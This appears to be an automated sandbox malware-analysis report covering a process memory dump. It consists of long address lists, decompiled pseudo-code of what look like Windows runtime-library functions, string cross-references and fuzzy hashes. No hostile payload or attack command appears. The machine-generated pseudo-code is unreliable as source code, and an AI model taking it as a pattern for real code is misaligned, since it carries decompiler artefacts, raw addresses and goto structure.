0x0344bf0f
0x00000000
0x0340fc36
0x0340fc38
0x0340fc3b
0x0340fc41
0x0344bf17
0x0344bf19
0x0344bf48
0x0344bf4b
0x00000000
0x0344bf1b
0x0344bf22
0x0344bf24
0x0344bf26
0x00000000
0x0344bf2c
0x0344bf37
0x0344bf39
0x0344bf3b
0x00000000
0x0344bf41
0x0344bf41
0x0344bf41
0x0344bf41
0x0344bf45
0x00000000
0x0344bf45
0x0344bf3b
0x0344bf26
0x00000000
0x0340fc47
0x0340fc47
0x0340fc49
0x0340fcb2
0x0340fcb4
0x0340fcb6
0x0340fcdc
0x0340fcdc
0x00000000
0x0340fcb8
0x0340fcc3
0x0340fcc5
0x0340fcc7
0x00000000
0x0340fcc9
0x0340fcc9
0x0340fccd
0x00000000
0x0340fccd
0x0340fcc7
0x00000000
0x0340fc4b
0x0340fc4b
0x0340fc4e
0x0340fc4e
0x0340fc51
0x0340fc51
0x0340fc54
0x0340fc5a
0x0340fc5c
0x0340fc5f
0x0340fc61
0x0340fc63
0x0340fc65
0x0340fc67
0x0340fc6e
0x0340fc72
0x0340fc72
0x0340fc72
0x0340fc72
0x0340fc67
0x0340fc61
0x00000000
0x0340fc5a
0x0340fc49
0x0340fc41
0x0340fc30
0x0340fc27
0x0340fc03
0x0340fbcd
0x0340fbd3
0x0340fbd9
0x0340fbdc
0x0340fbde
0x0340fc99
0x0340fc9b
0x0340fc9d
0x0340fcd5
0x0340fcd5
0x0340fc89
0x0340fc89
0x00000000
0x0340fc9f
0x0340fc9f
0x0340fca3
0x00000000
0x0340fca3
0x00000000
0x0340fbe4
0x0340fbe4
0x0340fbe4
0x0340fbe4
0x0340fbe9
0x0340fbf2
0x00000000
0x0340fbf2
0x0340fbde
0x0340fbcb
0x0340fbab
0x0340fc8b
0x0340fc8b
0x0340fc8c
0x0340fb80
0x0340fb72
0x0340fb5e
0x0340fc8d
0x0340fc91
0x0340fadf
0x0340fadf
0x0340fae1
0x0340fae4
0x0340fae7
0x0340faec
0x0340faf8
0x0340fb00
0x0340fb07
0x0340fb0f
0x0340fb0f
0x0340fb07
0x00000000
0x0340faf8
0x0340fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 0344BE0F

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: a9e7771889cfaee8807080226235595707d18a7f7acdcb5ee16af29e27febfae
Instruction ID: a1760baa4025205c9eb8a3e3d438481c76b308ff516f049c4148e8f25e4a25e9
Opcode Fuzzy Hash: a9e7771889cfaee8807080226235595707d18a7f7acdcb5ee16af29e27febfae
Instruction Fuzzy Hash: C1A1D075B047068BEB35DA64C451B7AB3A5FF84710F1845BBE8569F7C0DB34D80A8B88

Uniqueness

Uniqueness Score: -1.00%

Function 033D2D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E033D2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x34c5350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x34c7bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E034197C0();
				}
				if( *0x34c79c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x34c79c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E03401624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E033F7D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E0346FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E03419520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E0340E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L0342DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x34c6901;
								_push(_t109);
								_v52 = _t98;
								if( *0x34c6901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E03419980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E034195D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E033F7D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E033F7D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E03457016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E0346FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x34c5350;
							if(_t109 != 0x34c5350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E0346FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E03465720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x033d2d8a
0x033d2d8a
0x033d2d92
0x033d2d96
0x033d2d9e
0x033d2da0
0x033d2da3
0x033d2da5
0x033d2da8
0x033d2dab
0x033d2db2
0x0342f9aa
0x0342f9ab
0x0342f9ae
0x0342f9ae
0x033d2db8
0x033d2dc2
0x0342f9b9
0x0342f9be
0x0342f9bf
0x0342f9bf
0x033d2dcf
0x0342f9c9
0x033d2dd5
0x033d2dd5
0x033d2dd5
0x033d2dde
0x033d2de1
0x033d2e70
0x033d2e72
0x033d2e72
0x033d2de7
0x033d2deb
0x033d2e7c
0x033d2e83
0x033d2e85
0x033d2e8b
0x033d2e8d
0x033d2e92
0x033d2e92
0x033d2e85
0x033d2df1
0x033d2df7
0x033d2df9
0x033d2df9
0x033d2dfc
0x033d2dff
0x033d2e02
0x00000000
0x033d2e05
0x033d2e0c
0x0342f9d9
0x033d2e12
0x033d2e12
0x033d2e12
0x033d2e1a
0x0342f9e3
0x0342f9e9
0x0342f9f0
0x0342f9f6
0x0342f9f8
0x0342f9f8
0x0342f9f0
0x033d2e23
0x0342fa02
0x0342fa03
0x0342fa05
0x0342fa06
0x00000000
0x033d2e29
0x033d2e29
0x033d2e2e
0x033d2e34
0x033d2e3e
0x00000000
0x00000000
0x033d2e44
0x033d2e47
0x033d2e4d
0x00000000
0x00000000
0x033d2e4f
0x033d2e54
0x00000000
0x00000000
0x033d2e5a
0x033d2e5f
0x033d2e9a
0x033d2ea4
0x033d2ea5
0x033d2ea8
0x033d2eaf
0x033d2eb2
0x033d2eb5
0x0342fae9
0x0342faeb
0x0342faed
0x0342faef
0x0342faf7
0x0342faf8
0x0342fafd
0x0342faff
0x0342fb04
0x0342fb04
0x0342faff
0x033d2ec0
0x033d2ec4
0x033d2ec6
0x033d2ec8
0x0342fb14
0x0342fb18
0x0342fb1e
0x0342fb21
0x0342fb21
0x033d2ece
0x033d2ece
0x033d2ece
0x033d2ed7
0x033d2e61
0x033d2e63
0x0342fa6b
0x0342fa71
0x0342fa76
0x0342fa78
0x0342fa8a
0x0342fa7a
0x0342fa83
0x0342fa83
0x0342fa8f
0x0342fa91
0x0342fa97
0x0342fa9d
0x0342faa4
0x0342faaa
0x0342faaf
0x0342fab1
0x0342fac3
0x0342fab3
0x0342fabc
0x0342fabc
0x0342fac8
0x0342facb
0x0342fadf
0x0342fadf
0x0342facb
0x0342faa4
0x0342fa91
0x033d2e6f
0x033d2e6f
0x033d2e5f
0x0342fa13
0x0342fa15
0x0342fa17
0x0342fa1f
0x0342fa21
0x0342fa22
0x0342fa25
0x0342fa28
0x0342fa2f
0x0342fa2f
0x0342fa2a
0x0342fa2a
0x0342fa2a
0x0342fa31
0x0342fa34
0x0342fa36
0x0342fa3c
0x0342fa3e
0x0342fa41
0x0342fa43
0x0342fa45
0x0342fa45
0x0342fa41
0x0342fa3c
0x0342fa4a
0x0342fa4f
0x0342fa51
0x0342fa53
0x0342fa56
0x0342fa5b
0x0342fa5e
0x00000000
0x0342fa5e
0x033d2e23

Strings

RTL: Re-Waiting, xrefs: 0342FA4A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 19935ac00c5c6729f63c2a10da813a583bdac358b6dede29c2266b59e3d5ffb0
Instruction ID: 5559e730459b54f4497199f403c8d919bb45d8e8a526df1b88552112c6561e0f
Opcode Fuzzy Hash: 19935ac00c5c6729f63c2a10da813a583bdac358b6dede29c2266b59e3d5ffb0
Instruction Fuzzy Hash: 20612632A006549FDB21DF69D880B7FBBB8EF44710F9909AAE421AF3D0C73499058795

Uniqueness

Uniqueness Score: -1.00%

Function 034A0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E034A0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E0349FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E034A1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E03419730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E0349A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E0349A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x34c8b04 >> 0x14) + (_v44 -  *0x34c8b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E033F7D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0349138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E033F7D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0348FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x34c8724 & 0x00000008) != 0) {
						E034952F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E034A15B5(0x34c8ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x034a0eb7
0x034a0eb9
0x034a0ec0
0x034a0ec2
0x034a0ecd
0x034a105b
0x034a105b
0x034a1061
0x034a1066
0x034a1066
0x034a106b
0x034a1073
0x034a1073
0x034a0ed3
0x034a0ed6
0x034a0edc
0x034a0ee0
0x034a0ee7
0x034a0ef0
0x034a0ef5
0x034a0efa
0x034a0efc
0x034a0efd
0x034a0f03
0x034a0f04
0x034a0f06
0x034a0f07
0x034a0f09
0x034a0f0e
0x034a0f14
0x034a0f23
0x034a0f2d
0x034a0f34
0x034a0f34
0x034a0f14
0x034a0f52
0x00000000
0x00000000
0x034a0f58
0x034a0f73
0x034a0f74
0x034a0f79
0x034a0f7d
0x034a0f80
0x034a0f86
0x034a0fab
0x034a0fb5
0x034a0fc6
0x034a0fd1
0x034a0fe3
0x034a0fd3
0x034a0fdc
0x034a0fdc
0x034a0feb
0x034a1009
0x034a1009
0x034a1015
0x034a1027
0x034a1017
0x034a1020
0x034a1020
0x034a102f
0x034a103c
0x034a103c
0x034a1048
0x034a1050
0x034a1050
0x034a1055
0x00000000
0x034a1055
0x034a0f88
0x034a0f9e
0x034a0fa2
0x034a0fa9
0x00000000
0x00000000
0x00000000
0x034a0fa9
0x00000000

Strings

`, xrefs: 034A0F16

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: cff2efd03a50eee64cf8bb4fe8da3751a27d51d15783458a5a9e835fcd0ce490
Instruction ID: 539912c4b2958625e7b78c6b93ac5aec5ecba13aa0ee08e92ec0214cea83022c
Opcode Fuzzy Hash: cff2efd03a50eee64cf8bb4fe8da3751a27d51d15783458a5a9e835fcd0ce490
Instruction Fuzzy Hash: 2251DF70208B419FD724DF29D980B1BB7E5EBD8314F08092EF9969F690D770E805CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0340F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0340F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E033F4120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E03419830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E03419990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E034195D0();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0xf81ea81a
							_t109 = L033F4620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2002f81e
								E0341F3E0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2002f81e
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E034195D0();
										L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x0340f0d3
0x0340f0d9
0x0340f0e0
0x0340f0e7
0x0340f0f2
0x0340f0f4
0x0340f0f8
0x0340f100
0x0340f108
0x0340f10d
0x0340f115
0x0340f116
0x0340f11f
0x0340f123
0x0340f124
0x0340f12c
0x0340f130
0x0340f134
0x0340f13d
0x0340f144
0x0340f14b
0x0340f152
0x0344bab0
0x0344bab0
0x0340f158
0x0340f158
0x0340f15a
0x0340f160
0x0340f165
0x0340f166
0x0340f16f
0x0340f173
0x0344baa7
0x0344baa7
0x0344baab
0x00000000
0x0340f179
0x0340f179
0x0340f18d
0x0340f191
0x0344baa2
0x00000000
0x0340f197
0x0340f19b
0x0340f1a2
0x0340f1a9
0x0340f1af
0x0340f1b2
0x0340f1b6
0x0340f1b9
0x0340f1c0
0x0340f1c4
0x0340f1d8
0x0340f1df
0x0340f1e3
0x0340f1e6
0x0340f1eb
0x0340f1ee
0x0340f1f4
0x0340f20f
0x0344bab7
0x0344babb
0x0344bacc
0x0344bad1
0x0340f215
0x0340f218
0x0340f226
0x0340f22b
0x00000000
0x0340f22b
0x0340f1f6
0x0340f1f6
0x0340f1f9
0x0340f1fb
0x0340f1fb
0x0340f1f4
0x0340f191
0x0340f173
0x0340f152
0x0340f203

Strings

@, xrefs: 0340F124

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: c38825916efa3f981a189dc8d0a88067bea768344f7354dc55b2339260df6039
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 38517D756047109FD320DF29C840A6BBBF8FF48750F00892EFAA59B690E7B4E915CB95

Uniqueness

Uniqueness Score: -1.00%

Function 03453540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E03453540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x34cd360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E03410BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E03453706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E0341FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E03453540;
						E0341FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E0342DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E03460C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E034197C0();
					}
					return E0341B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E03453971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E03453884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E0341FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E03419650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E03453787(_a4,  &_v352, _t80);
						}
					}
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E034195D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x03453552
0x0345355a
0x0345355d
0x03453566
0x03453567
0x0345357e
0x0345358f
0x034535a1
0x034535a5
0x0345366b
0x0345366b
0x0345366d
0x03453672
0x03453679
0x03453685
0x0345368d
0x0345369d
0x034536a7
0x034536b8
0x034536c6
0x034536c7
0x034536dc
0x034536e1
0x034536e7
0x034536e9
0x034536e9
0x03453703
0x03453703
0x034535b5
0x034535c0
0x034535c4
0x00000000
0x00000000
0x034535ca
0x034535d7
0x034535e2
0x034535e6
0x034535e8
0x034535f5
0x034535fa
0x03453603
0x03453604
0x03453609
0x0345360a
0x03453612
0x03453613
0x0345361e
0x03453622
0x03453628
0x0345362f
0x0345362f
0x03453636
0x03453638
0x0345363b
0x03453642
0x03453642
0x03453636
0x03453657
0x03453657
0x0345365c
0x03453662
0x03453669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 0345358F

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: c3b50e38775f3dc61e399cb9c68bab02870fbce03b5975b4e3546488bc2c5bb0
Instruction ID: 4dd3e63bbe5797d8a184ebdbe232e00b3d0586c023e26d1aaa2ad483ce851a13
Opcode Fuzzy Hash: c3b50e38775f3dc61e399cb9c68bab02870fbce03b5975b4e3546488bc2c5bb0
Instruction Fuzzy Hash: 084144B5D0162C9EDB21DE51CC80F9EB77CAB44754F0045AAEA09AF251DB309E89CF98

Uniqueness

Uniqueness Score: -1.00%

Function 03453884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E03453884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E03419650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L033F4620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E03419650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x03453893
0x03453896
0x03453899
0x0345389f
0x034538a0
0x034538a4
0x034538a9
0x034538ac
0x034538ad
0x034538ae
0x034538af
0x034538b1
0x034538b4
0x034538bb
0x034538bc
0x034538bd
0x034538c4
0x034538c8
0x034538ca
0x034538ca
0x034538d5
0x0345393e
0x03453940
0x03453942
0x03453952
